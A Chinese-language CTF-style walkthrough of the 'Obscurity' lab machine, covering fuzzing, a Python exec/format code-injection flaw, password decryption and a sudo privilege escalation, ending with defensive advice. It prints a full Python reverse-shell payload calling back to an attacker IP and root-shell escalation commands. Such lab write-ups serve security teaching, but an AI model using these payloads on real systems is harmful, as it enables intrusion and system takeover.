实战打靶之Obscurity
字数 1214 2025-08-11 22:57:18
Obscurity 靶机渗透实战教学文档
1. 信息收集阶段
1.1 端口扫描
使用nmap进行初始扫描,发现开放以下端口:
- 22 (SSH)
- 80 (HTTP)
- 8080 (HTTP)
- 9000 (自定义服务)
1.2 Web服务枚举
访问8080端口发现Web界面,页面提示存在一个Python脚本:
- 使用gobuster进行目录爆破未获有效结果
- 改用wfuzz进行精确路径fuzz:
wfuzz -c -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py --hl 6 --hw 367 - 成功定位到脚本路径:
/developer/SuperSecureServer.py
2. 漏洞分析
2.1 代码审计关键点
分析SuperSecureServer.py发现以下高危代码段:
info = "output = 'Document: {}'" # 格式化字符串漏洞
exec(info.format(path)) # 直接执行用户可控输入
2.2 漏洞利用条件
path参数完全可控- 通过构造恶意HTTP请求可注入任意Python代码
- 服务器会执行注入的代码
3. 漏洞利用
3.1 构造PoC
使用Python反向shell payload:
http://10.10.10.168:8080/';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3.2 获取初始立足点
- 在攻击机监听端口:
nc -lvnp 2333 - 发送恶意请求触发漏洞
- 获取交互式shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
4. 横向移动
4.1 发现加密脚本
在/home/robert目录发现:
SuperSecureCrypt.py- 加密脚本check.txt- 加密测试文件out.txt- 加密输出passwordreminder.txt- 密码提示文件
4.2 解密密码
使用已知密钥"alexandrovich"解密:
python3 SuperSecureCrypt.py -i passwordreminder.txt -d -k alexandrovich -o /dev/shm/.df
4.3 SSH登录
使用解密获得的凭证通过SSH登录
5. 权限提升
5.1 检查sudo权限
sudo -l显示可以root权限执行:
/usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
5.2 分析BetterSSH.py
关键漏洞点:
- 临时文件竞争条件:在检查密码后0.1秒才删除
/etc/shadow的临时副本 - 目录权限问题:
/tmp/SSH目录可写
5.3 提权步骤
- 创建SSH目录:
mkdir /tmp/SSH - 移动原目录:
mv BetterSSH BetterSSH-old - 创建恶意脚本:
#!/usr/bin/env python3 import pty pty.spawn("bash") - 执行脚本获取root:
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
6. 关键知识点总结
- 模糊测试技巧:使用wfuzz进行精确路径枚举
- 代码审计要点:识别危险的exec/format组合
- 反向Shell构造:Python多平台反向shell实现
- 加密算法分析:识别自定义加密算法的弱点
- 竞争条件利用:利用时间差获取敏感文件
- 权限提升思路:结合sudo权限和目录控制进行提权
7. 防御建议
- 避免使用exec执行用户输入
- 对格式化字符串进行严格过滤
- 设置适当的文件系统权限
- 避免在临时文件中存储敏感信息
- 使用安全的密码哈希比较方法